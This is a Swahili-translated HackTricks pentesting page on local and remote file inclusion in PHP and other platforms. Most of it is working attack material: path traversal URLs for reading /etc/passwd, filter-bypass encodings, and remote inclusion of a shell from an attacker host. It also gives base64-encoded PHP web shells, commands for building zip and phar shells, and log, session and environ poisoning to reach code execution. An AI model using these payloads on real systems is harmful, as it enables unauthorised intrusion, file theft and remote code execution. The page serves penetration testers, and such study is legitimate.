hacktricks/pentesting-web/file-inclusion
2024-07-18 22:14:33 +00:00
..
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:47:30 +00:00
lfi2rce-via-eternal-waiting.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:47:30 +00:00
lfi2rce-via-nginx-temp-files.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:14:33 +00:00
lfi2rce-via-php-filters.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-06-05 13:52:31 +00:00
lfi2rce-via-phpinfo.md Translated to Swahili 2024-02-11 02:13:58 +00:00
lfi2rce-via-segmentation-fault.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:37:42 +00:00
lfi2rce-via-temp-file-uploads.md Translated to Swahili 2024-02-11 02:13:58 +00:00
phar-deserialization.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-18 14:54:02 +00:00
README.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-06-05 13:52:31 +00:00
via-php_session_upload_progress.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:37:42 +00:00

Kuingiza Faili/Uvukaji wa Njia

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Jiunge na HackenProof Discord server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa zawadi za mdudu!

Machapisho ya Kudukua
Shiriki na maudhui yanayochimba kina katika msisimko na changamoto za kudukua

Taarifa za Kudukua za Muda Halisi
Kaa up-to-date na ulimwengu wa kudukua wenye kasi kupitia habari za muda halisi na ufahamu

Matangazo ya Karibuni
Baki mwelewa na zawadi za mdudu zinazoanzishwa na sasisho muhimu za jukwaa

Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!

Kuingiza Faili

Kuingiza Faili ya Mbali (RFI): Faili inapakiwa kutoka kwa seva ya mbali (Bora: Unaweza kuandika nambari na seva itaitekeleza). Katika php hii imelemazwa kwa chaguo-msingi (allow_url_include).
Kuingiza Faili ya Kienyeji (LFI): Seva inapakia faili ya ndani.

Udhaifu unatokea wakati mtumiaji anaweza kudhibiti kwa njia fulani faili itakayopakiwa na seva.

PHP functions zenye udhaifu: require, require_once, include, include_once

Zana ya kuvutia kutumia udhaifu huu: https://github.com/kurobeats/fimap

Kipofu - Kuvutia - Faili za LFI2RCE

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Kwa kuchanganya orodha kadhaa za LFI za *nix na kuongeza njia zaidi, nimeunda hii:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Jaribu pia kubadilisha / kwa \
Jaribu pia kuongeza ../../../../../

Orodha inayotumia njia kadhaa za kupata faili /etc/password (kutathmini ikiwa upungufu upo) inaweza kupatikana hapa

Windows

Unganisha wa orodha tofauti:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Jaribu pia kubadilisha / kwa \
Jaribu pia kuondoa C:/ na kuongeza ../../../../../

Orodha inayotumia njia kadhaa za kupata faili /boot.ini (kutathmini ikiwa upungufu upo) inaweza kupatikana hapa

OS X

Angalia orodha ya LFI ya linux.

LFI ya Msingi na njia za kuepuka

Mifano yote ni kwa Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (ukurasa=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

mfuatano wa upitishaji uliondolewa bila kutumia mbinu za kurudia

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Pita kwenye kuongeza herufi zaidi mwishoni mwa string iliyotolewa (kipita: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Hii ni imepatikana tangu PHP 5.4

Ukodishaji

Unaweza kutumia ukodishaji usio wa kawaida kama vile ukodishaji wa URL mara mbili (na mingine):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Kutoka kwenye folda iliyopo

Labda seva ya nyuma inachunguza njia ya folda:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Kuchunguza Miongozo ya Mfumo wa Faili kwenye Seva

Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kina ili kutambua miongozo, siyo tu faili, kwa kutumia njia fulani. Mchakato huu unahusisha kujua kina cha miongozo na kuchunguza uwepo wa folda maalum. Hapa chini ni njia iliyoelezwa kwa undani ya kufanikisha hili:

  1. Kutambua Kina cha Miongozo: Hakikisha kina cha miongozo ya folda yako ya sasa kwa kufanikiwa kupata faili ya /etc/passwd (inayotumika ikiwa seva ni ya Linux). URL ya mfano inaweza kuwa na muundo ufuatao, ukiashiria kina cha tatu:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Chunguza Folda: Ongeza jina la folda inayoshukiwa (k.m., private) kwenye URL, kisha endelea kurudi kwa /etc/passwd. Kiwango cha ziada cha saraka kinahitaji kuongeza kina kwa moja:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Tafsiri Matokeo: Majibu ya seva yanabainisha ikiwa kabrasha lipo au la:
  • Kosa / Hakuna Matokeo: Kabrasha ya private huenda haipo katika eneo lililotajwa.
  • Yaliyomo ya /etc/passwd: Kuwepo kwa kabrasha ya private kuthibitishwa.
  1. Uchunguzi wa Kina: Kabrasha zilizogunduliwa zinaweza kuchunguzwa zaidi kwa mipangilio ya vichupo au faili kutumia mbinu ile ile au mbinu za Kuingiza Faili za Kienyeji (LFI) za kawaida.

Kwa kuchunguza kabrasha katika maeneo tofauti katika mfumo wa faili, badilisha mzigo kulingana na hali. Kwa mfano, kuchunguza ikiwa /var/www/ ina kabrasha ya private (ukidhani kabrasha ya sasa iko kwenye kina cha 3), tumia:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Mbinu ya Kukata Njia

Kukata njia ni njia inayotumiwa kubadilisha njia za faili kwenye programu za wavuti. Mara nyingi hutumiwa kupata faili zilizozuiwa kwa kuzidi hatua fulani za usalama ambazo huongeza herufi zaidi mwishoni mwa njia ya faili. Lengo ni kutengeneza njia ya faili ambayo, baada ya kubadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotakiwa.

Katika PHP, mifano mbalimbali ya njia ya faili inaweza kuchukuliwa kuwa sawa kutokana na asili ya mfumo wa faili. Kwa mfano:

  • /etc/passwd, /etc//passwd, /etc/./passwd, na /etc/passwd/ zote hutendewa kama njia ile ile.
  • Wakati herufi 6 za mwisho ni passwd, kuongeza / (kufanya iwe passwd/) haitabadilishi faili inayolengwa.
  • Vivyo hivyo, ikiwa .php inaongezwa kwenye njia ya faili (kama shellcode.php), kuongeza /. mwishoni haitabadilishi faili inayopatikana.

Mifano iliyotolewa inaonyesha jinsi ya kutumia kukata njia kupata /etc/passwd, lengo la kawaida kutokana na maudhui yake nyeti (taarifa za akaunti ya mtumiaji):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Katika mazingira haya, idadi ya ufuatiliaji inayohitajika inaweza kuwa karibu 2027, lakini idadi hii inaweza kutofautiana kulingana na usanidi wa seva.

  • Kutumia Vipande vya Dot na Wahusika Wengine: Mfululizo wa ufuatiliaji (../) uliochanganywa na vipande vya dot ziada na wahusika unaweza kutumika kusafiri kwenye mfumo wa faili, kwa kufuta vitambulisho vilivyowekwa na seva.
  • Kutambua Idadi Inayohitajika ya Ufuatiliaji: Kupitia majaribio na kosa, mtu anaweza kupata idadi sahihi ya mfululizo wa ../ unaohitajika kusafiri hadi kwenye saraka kuu na kisha kufikia /etc/passwd, kuhakikisha kuwa vitambulisho vilivyowekwa (kama vile .php) vinatupiliwa mbali lakini njia inayotakiwa (/etc/passwd) inabaki bila kuguswa.
  • Kuanza na Saraka Bandia: Ni mazoea ya kawaida kuanza njia na saraka isiyopo (kama vile a/). Mbinu hii hutumiwa kama hatua ya tahadhari au kufikia mahitaji ya mantiki ya uchambuzi wa njia wa seva.

Wakati wa kutumia mbinu za kukata njia, ni muhimu kuelewa tabia ya uchambuzi wa njia wa seva na muundo wa mfumo wa faili. Kila hali inaweza kuhitaji njia tofauti, na majaribio mara nyingi ni muhimu kupata njia yenye ufanisi zaidi.

Udhaifu huu ulisahihishwa katika PHP 5.3.

Mbinu za Kupita Kichujio

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Kuingiza Faili Kijijini

Katika php hii imelemazwa kwa chaguo-msingi kwa sababu allow_url_include iko Off. Lazima iwe On ili ifanye kazi, na katika kesi hiyo unaweza kuingiza faili ya PHP kutoka kwenye seva yako na kupata RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

If for some reason allow_url_include is On, but PHP is filtering access to external webpages, according to this post, you could use for example the data protocol with base64 to decode a b64 PHP code and egt RCE:

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} Katika msimbo uliopita, +.txt ya mwisho ilitolewa kwa sababu muhusika alihitaji mfuatano wa herufi ambao unamalizika kwa .txt, hivyo mfuatano unamalizika nayo na baada ya b64 decode sehemu hiyo itarudisha takataka tu na msimbo halisi wa PHP utajumuishwa (na hivyo, kutekelezwa). {% endhint %}

Mfano mwingine usiotumia itifaki ya php:// ungekuwa:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Kipengele cha Mzizi wa Python

Katika python katika namna ya namna hii:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Ikiwa mtumiaji anapitisha njia kamili kwa jina_la_faili, njia iliyopita inaondolewa tu:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Hii ni tabia iliyokusudiwa kulingana na [nyaraka] (https://docs.python.org/3.10/library/os.path.html#os.path.join):

Ikiwa sehemu ni njia kamili, sehemu zote za awali hutupwa na kuunganisha inaendelea kutoka kwa sehemu ya njia kamili.

Orodha ya Vichwa vya Java

Inaonekana kama una Uvujaji wa Njia katika Java na unauliza kwa saraka badala ya faili, orodha ya saraka inarudiwa. Hii haitatokea katika lugha zingine (kwa kadri ninavyojua).

Vichwa 25 Bora

Hapa kuna orodha ya vichwa 25 bora vinavyoweza kuwa hatarini kwa uwekaji wa faili wa ndani (LFI) (kutoka [kiungo] (https://twitter.com/trbughunters/status/1279768631845494787)):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI kutumia PHP wrappers & itifaki

php://filter

Vichujio vya PHP huruhusu kufanya operesheni za ubadilishaji wa msingi kwenye data kabla ya kusomwa au kuandikwa. Kuna makundi 5 ya vichujio:

  • Vichujio vya String:
    • string.rot13
    • string.toupper
    • string.tolower
    • string.strip_tags: Ondoa vitambulisho kutoka kwenye data (kila kitu kati ya herufi "<" na ">" )
    • Tafadhali kumbuka kuwa hiki kichujio kimeondolewa katika toleo za kisasa za PHP
  • Vichujio vya Ubadilishaji
    • convert.base64-encode
    • convert.base64-decode
    • convert.quoted-printable-encode
    • convert.quoted-printable-decode
    • convert.iconv.* : Inabadilisha kwenye encoding tofauti (convert.iconv.<input_enc>.<output_enc>). Ili kupata orodha ya encodings zote zinazoungwa mkono endesha kwenye koni: iconv -l

{% hint style="warning" %} Kwa kutumia kichujio cha ubadilishaji convert.iconv.* unaweza kuzalisha maandishi ya uongo, ambayo yanaweza kuwa na manufaa kuandika maandishi ya uongo au kufanya kazi kama mchakato wa kuingiza maandishi ya uongo. Kwa maelezo zaidi angalia LFI2RCE kupitia vichujio vya php. {% endhint %}

  • Vichujio vya Kukandamiza
    • zlib.deflate: Kukandamiza maudhui (yanayoweza kutumika kuchukua habari nyingi)
    • zlib.inflate: Kukandua data
  • Vichujio vya Kuficha
    • mcrypt.* : Imepitwa na wakati
    • mdecrypt.* : Imepitwa na wakati
  • Vichujio Vingine
    • Ukikimbia var_dump(stream_get_filters()); kwenye php unaweza kupata vichujio vichache visivyotarajiwa:
      • consumed
      • dechunk: inabadilisha nyuma uendeshaji wa HTTP chunked
      • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} Sehemu ya "php://filter" ni isiyo na kesi {% endhint %}

Kutumia vichujio vya php kama oracle kusoma faili za kupindukia

Katika chapisho hili inapendekezwa mbinu ya kusoma faili za ndani bila kupata jibu kutoka kwa seva. Mbinu hii inategemea kupeleleza faili (herufi kwa herufi) kwa kutumia vichujio vya php kama oracle. Hii ni kwa sababu vichujio vya php vinaweza kutumika kufanya maandishi kuwa kubwa vya kutosha kusababisha php kutupa kosa.

Katika chapisho halisi unaweza kupata maelezo ya kina ya mbinu hii, lakini hapa kuna muhtasari wa haraka:

  • Tumia codec UCS-4LE kuacha herufi ya kiongozi ya maandishi mwanzoni na kufanya ukubwa wa herufi kuongezeka kwa kasi.
  • Hii itatumika kuzalisha maandishi makubwa sana wakati herufi ya kwanza inatabiriwa kwa usahihi ambayo php itasababisha kosa
  • Kichujio cha dechunk kitafuta kila kitu ikiwa herufi ya kwanza sio hexadecimal, hivyo tunaweza kujua ikiwa herufi ya kwanza ni hex.
  • Hii, ikichanganywa na ile iliyotangulia (na vichujio vingine vinavyotegemea herufi iliyotabiriwa), itaturuhusu kutabiri herufi mwanzoni mwa maandishi kwa kuona tunafanya mabadiliko ya kutosha kufanya isiwe tena herufi ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaifuta na bomu la awali litasababisha kosa la php.
  • Codec convert.iconv.UNICODE.CP930 hubadilisha kila herufi kuwa ile inayofuata (kwa hivyo baada ya codec hii: a -> b). Hii inaruhusu kutambua ikiwa herufi ya kwanza ni a kwa mfano kwa sababu ikiwa tunatumia codec hii mara 6 a->b->c->d->e->f->g herufi hiyo si tena herufi ya hexadecimal, kwa hivyo dechunk haitaifuta na kosa la php litasababishwa kwa sababu inazidishwa na bomu la awali.
  • Kwa kutumia mabadiliko mengine kama rot13 mwanzoni, ni rahisi kuvuja herufi zingine kama n, o, p, q, r (na vichujio vingine vinaweza kutumika kusogeza herufi zingine kwenye safu ya hex).
  • Ikiwa herufi ya kwanza ni nambari, ni lazima iwekwe kwenye msingi wa64 na kuvuja herufi 2 za kwanza kuvuja nambari.
  • Tatizo la mwisho ni kuona jinsi ya kuvuja zaidi ya herufi ya kwanza. Kwa kutumia vichujio vya kumbukumbu kama convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE inawezekana kubadilisha mpangilio wa herufi na kupata herufi nyingine za maandishi kwenye nafasi ya kwanza.
  • Na ili kuweza kupata data zaidi wazo ni kuzalisha baiti 2 za data taka mwanzoni na convert.iconv.UTF16.UTF16, tumia UCS-4LE kuifanya ipige na baiti 2 inayofuata, na futa data hadi data taka (hii itaondoa baiti 2 za kwanza za maandishi ya awali). Endelea kufanya hivi hadi ufikie biti inayotakiwa kuvuja.

Katika chapisho, zana ya kufanya hivi kiotomatiki pia ilivuja: php_filters_chain_oracle_exploit.

php://fd

Kifuniko hiki kuruhusu kupata nambari za faili ambazo mchakato una wazi. Inaweza kuwa na manufaa kuvuja maudhui ya faili zilizofunguliwa:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Unaweza pia kutumia php://stdin, php://stdout na php://stderr kufikia descriptors ya faili 0, 1 na 2 mtawalia (sijui jinsi hii inaweza kuwa na manufaa katika shambulizi)

zip:// na rar://

Pakia faili ya Zip au Rar yenye PHPShell ndani yake na ufikie.
Ili uweze kutumia vibaya itifaki ya rar inahitaji kuwezeshwa kwa kusudi maalum.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

Hii ni njia ya kuingiza data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Tafadhali elewa kuwa itifaki hii imezuiliwa na mipangilio ya php allow_url_open na allow_url_include

expect://

Matarajio lazima iwe imewezeshwa. Unaweza kutekeleza nambari ukitumia hii:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

maelezo://

Taja mzigo wako kwenye vigezo vya POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Faili ya .phar inaweza kutumika kutekeleza nambari ya PHP wakati programu ya wavuti inatumia kazi kama vile include kwa kupakia faili. Nambari ya PHP iliyoonyeshwa hapa chini inaonyesha uumbaji wa faili ya .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Ili kukusanya faili ya .phar, amri ifuatayo inapaswa kutekelezwa:

php --define phar.readonly=0 create_path.php

Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.

In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), or filesize(), exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar protocol.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

CVE-2024-2961

It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system.
It was possible to alloc chunks of specific sizes abusing more php filters.

More protocols

Check more possible protocols to include here:

  • php://memory and php://temp — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
  • file:// — Accessing local filesystem
  • http:// — Accessing HTTP(s) URLs
  • ftp:// — Accessing FTP(s) URLs
  • zlib:// — Compression Streams
  • glob:// — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio streams (Not useful to read arbitrary files)

LFI via PHP's 'assert'

Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

Huku lengo likiwa kuzuia upenyaji, kwa bahati mbaya hii inaunda njia ya kuingiza nambari. Kwa kuitumia kwa kusoma yaliyomo kwenye faili, mshambuliaji anaweza kutumia:

' and die(highlight_file('/etc/passwd')) or '

Vivyo hivyo, kwa kutekeleza amri za mfumo za kupita kiasi, mtu anaweza kutumia:

' and die(system("id")) or '

Ni muhimu kufanya URL-encode hizi payloads.

Jiunge na HackenProof Discord server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za makosa ya programu!

Machapisho ya Kudukua
Shiriki na yaliyomo yanayochimba kina cha kudukua na changamoto zake

Taarifa za Kudukua za Muda Halisi
Kaa sasa na ulimwengu wa kudukua wenye kasi kupitia taarifa za muda halisi na ufahamu

Matangazo ya Karibuni
Baki mwelewa na tuzo mpya za makosa ya programu zinazoanzishwa na sasisho muhimu ya jukwaa

Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!

Udukuzi wa Njia ya Kipofu ya PHP

{% hint style="warning" %} Mbinu hii inahusiana katika kesi ambapo unadhibiti njia ya faili ya kazi ya PHP ambayo ita fikia faili lakini hautaona maudhui ya faili (kama wito rahisi wa file()) lakini maudhui hayo hayataonyeshwa. {% endhint %}

Katika chapisho hili la kushangaza imeelezwa jinsi udukuzi wa njia ya kipofu unavyoweza kutumiwa kupitia kichujio cha PHP kwa kuchota maudhui ya faili kupitia orakuli la kosa.

Kwa muhtasari, mbinu hii inatumia "UCS-4LE" encoding kufanya maudhui ya faili kuwa makubwa hivyo kwamba kazi ya PHP ya kufungua faili itasababisha kosa.

Kisha, ili kuvuja herufi ya kwanza, kichujio cha dechunk hutumiwa pamoja na vingine kama vile base64 au rot13 na hatimaye vichujio convert.iconv.UCS-4.UCS-4LE na convert.iconv.UTF16.UTF-16BE hutumiwa kuweka herufi nyingine mwanzoni na kuzivuja.

Kazi ambazo zinaweza kuwa hatarini: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (lengo la kusoma tu na hii), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Kwa maelezo ya kiufundi angalia chapisho kilichotajwa!

LFI2RCE

Udukuzi wa Faili Kijijini

Imeelezwa hapo awali, fuata kiungo hiki.

Kupitia faili ya kumbukumbu ya Apache/Nginx

Ikiwa seva ya Apache au Nginx ina udhaifu wa LFI ndani ya kazi ya kuingiza unaweza kujaribu kupata ufikiaji wa /var/log/apache2/access.log au /var/log/nginx/access.log, weka ndani ya mpelelezi wa mtumiaji au ndani ya parameta ya GET kabati ya php kama <?php system($_GET['c']); ?> na ingiza faili hiyo

{% hint style="warning" %} Tafadhali kumbuka kwamba ikiwa utatumia alama za nukuu mbili kwa kabati badala ya alama za nukuu moja, alama za nukuu mbili zitabadilishwa kwa mfuatano "quote;", PHP itatoa kosa hapo na kitu kingine hakitafanyika.

Pia, hakikisha unandika kwa usahihi payload au PHP itatoa kosa kila wakati inapojaribu kupakia faili ya kumbukumbu na hautapata fursa ya pili. {% endhint %}

Hii pia inaweza kufanywa katika kumbukumbu nyingine lakini weka tahadhari, nambari ndani ya kumbukumbu inaweza kuwa URL encoded na hii inaweza kuharibu Kabati. Kichwa cha habari uthibitisho "msingi" una "mtumiaji:nywila" katika Base64 na inadecode ndani ya kumbukumbu. PHPShell inaweza kuingizwa ndani ya kichwa hiki.
Njia zingine za kumbukumbu zinazowezekana:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Kupitia Barua pepe

Tuma barua kwa akaunti ya ndani (user@localhost) ikijumuisha mzigo wako wa PHP kama <?php echo system($_REQUEST["cmd"]); ?> na jaribu kuweka kwenye barua pepe ya mtumiaji kwa njia kama /var/mail/<USERNAME> au /var/spool/mail/<USERNAME>

Kupitia /proc/*/fd/*

  1. Pakia mabano mengi (kwa mfano: 100)
  2. Jumuisha http://example.com/index.php?page=/proc/$PID/fd/$FD, na $PID = PID ya mchakato (inaweza kufanyiwa nguvu) na $FD kielelezo cha faili (inaweza kufanyiwa nguvu pia)

Kupitia /proc/self/environ

Kama faili ya kuingiza, tuma mzigo kwenye User-Agent, itaakisiwa ndani ya faili ya /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Kupitia kupakia

Ikiwa unaweza kupakia faili, tuambie payload ya shell ndani yake (k.m: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Kupitia Kifurushi cha Zip

Pakia faili ya ZIP inayohifadhi PHP shell iliyosongeshwa na ufikie:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Kupitia vikao vya PHP

Angalia kama tovuti inatumia Kikao cha PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

Katika PHP vikao hivi hufungwa katika faili za /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Wekeza kidakuzi kuwa <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Tumia LFI kuweka faili ya kikao ya PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Kupitia ssh

Ikiwa ssh iko active angalia mtumiaji yupi anatumika (/proc/self/status & /etc/passwd) na jaribu kupata ufikivu wa <HOME>/.ssh/id_rsa

Kupitia vsftpd logs

Majedwali ya mwenyeji wa FTP vsftpd yapo katika /var/log/vsftpd.log. Katika hali ambapo kuna udhaifu wa Ujumuishaji wa Faili za Kienyeji (LFI), na ufikivu wa seva iliyofichuliwa ya vsftpd unawezekana, hatua zifuatazo zinaweza kuzingatiwa:

  1. Ingiza mzigo wa PHP katika uga wa jina la mtumiaji wakati wa mchakato wa kuingia.
  2. Baada ya kuingiza, tumia LFI kuchukua majedwali ya seva kutoka /var/log/vsftpd.log.

Kupitia kichujio cha php base64 (kutumia base64)

Kama ilivyoonyeshwa katika hii makala, kichujio cha PHP base64 hupuuza tu Isiyo ya base64. Unaweza kutumia hilo kukiuka ukaguzi wa kielezo cha faili: ikiwa unatoa base64 inayoishia na ".php", itapuuza "." na kuongeza "php" kwa base64. Hapa kuna mzigo wa mfano:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Kupitia vichujio vya php (hakuna faili inayohitajika)

Hii maelezo inaeleza kwamba unaweza kutumia vichujio vya php kuzalisha maudhui ya kupindukia kama matokeo. Hii kimsingi inamaanisha kwamba unaweza kuzalisha msimbo wa php wa kupindukia kwa kuingiza bila kuandika kwenye faili.

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

Kupitia kosa la segmantesheni

Pakia faili itakayohifadhiwa kama temporari kwenye /tmp, kisha katika ombi moja, chokoza kosa la segmantesheni, na kisha faili ya temporari haitafutwa na unaweza kuitafuta.

